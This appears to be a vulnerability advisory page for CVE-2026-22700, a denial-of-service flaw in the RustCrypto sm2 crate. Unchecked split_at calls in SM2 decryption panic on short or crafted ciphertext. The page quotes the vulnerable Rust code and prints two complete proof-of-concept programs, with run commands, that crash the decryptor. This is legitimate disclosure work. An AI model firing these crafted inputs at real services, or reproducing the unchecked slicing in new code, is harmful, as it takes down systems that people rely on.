sm2
Affected
- introduced
0.14.0-pre.0, last affected0.14.0-rc.4(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-22700
RustCrypto Has Insufficient Length Validation in decrypt() in SM2-PKE
Summary
A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.
Affected Component / Versions
src/pke/decrypting.rsDecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementationDetails
The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.
fn decrypt(
secret_scalar: &Scalar,
mode: Mode,
hasher: &mut dyn DynDigest,
cipher: &[u8],
) -> Result<Vec<u8>> {
let q = U256::from_be_hex(FieldElement::MODULUS);
let c1_len = q.bits().div_ceil(8) * 2 + 1; // Typically 65 for SM2
// B1: get 𝐶1 from 𝐶
let (c1, c) = cipher.split_at(c1_len as usize); // PANIC HERE if cipher.len() < 65
let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;
// ... (lines 170-178 omitted)
let digest_size = hasher.output_size(); // Typically 32 for SM3
let (c2, c3) = match mode {
Mode::C1C3C2 => {
let (c3, c2) = c.split_at(digest_size); // PANIC HERE if c.len() < 32
(c2, c3)
}
Mode::C1C2C3 => c.split_at(c.len() - digest_size), // PANIC HERE if c.len() < 32
};
Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.
Proof of Concept (PoC)
Two PoCs were added to this repository under examples/ demonstrating the two
common ways to trigger the issue:
examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic. //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
//! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
//!
//! Usage:
//! cargo run --example poc_short_ciphertext
use rand_core::OsRng;
use sm2::pke::DecryptingKey;
use sm2::SecretKey;
fn main() {
// Generate a normal secret key and DecryptingKey instance.
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
let dk = DecryptingKey::new(sk);
// to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
let short_ciphertext = vec![0u8; 10]; // deliberately too short
println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
// The panic is the PoC for the lack of length validation.
let _ = dk.decrypt(&short_ciphertext);
// If the library were robust, this line would be reached and decrypt would return Err.
println!("decrypt returned (unexpected) - PoC did not panic");
}
examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at. //! Usage:
//! RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;
fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
// Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
let mut body = Vec::new();
// INTEGER x
body.push(0x02);
body.push(x.len() as u8);
body.extend_from_slice(x);
// INTEGER y
body.push(0x02);
body.push(y.len() as u8);
body.extend_from_slice(y);
// OCTET STRING digest (intentionally tiny)
body.push(0x04);
body.push(digest.len() as u8);
body.extend_from_slice(digest);
// OCTET STRING cipher (intentionally tiny)
body.push(0x04);
body.push(cipher.len() as u8);
body.extend_from_slice(cipher);
// SEQUENCE header
let mut der = Vec::new();
der.push(0x30);
der.push(body.len() as u8);
der.extend(body);
der
}
fn main() {
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
// Extract recipient public key coordinates before moving the secret key into DecryptingKey
let pk = sk.public_key();
let dk = DecryptingKey::new(sk);
// get SEC1 encoding 0x04 || X || Y and slice out X and Y
let sec1 = pk.to_sec1_bytes();
let sec1_ref: &[u8] = sec1.as_ref();
let x = &sec1_ref[1..33];
let y = &sec1_ref[33..65];
// Very small digest and cipher to trigger length-based panics inside decrypt()
let digest = [0x33u8; 1];
let cipher = [0x44u8; 1];
let der = build_der(x, y, &digest, &cipher);
println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
// Expected to panic inside decrypt() due to missing length checks when splitting
let _ = dk.decrypt_der(&der);
println!("decrypt_der returned (unexpected) - PoC did not panic");
}
Reproduction (from repository root):
# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std
# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
Impact
High Basis: The source's own band: HIGH
0.14.0-pre.0, last affected 0.14.0-rc.4 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0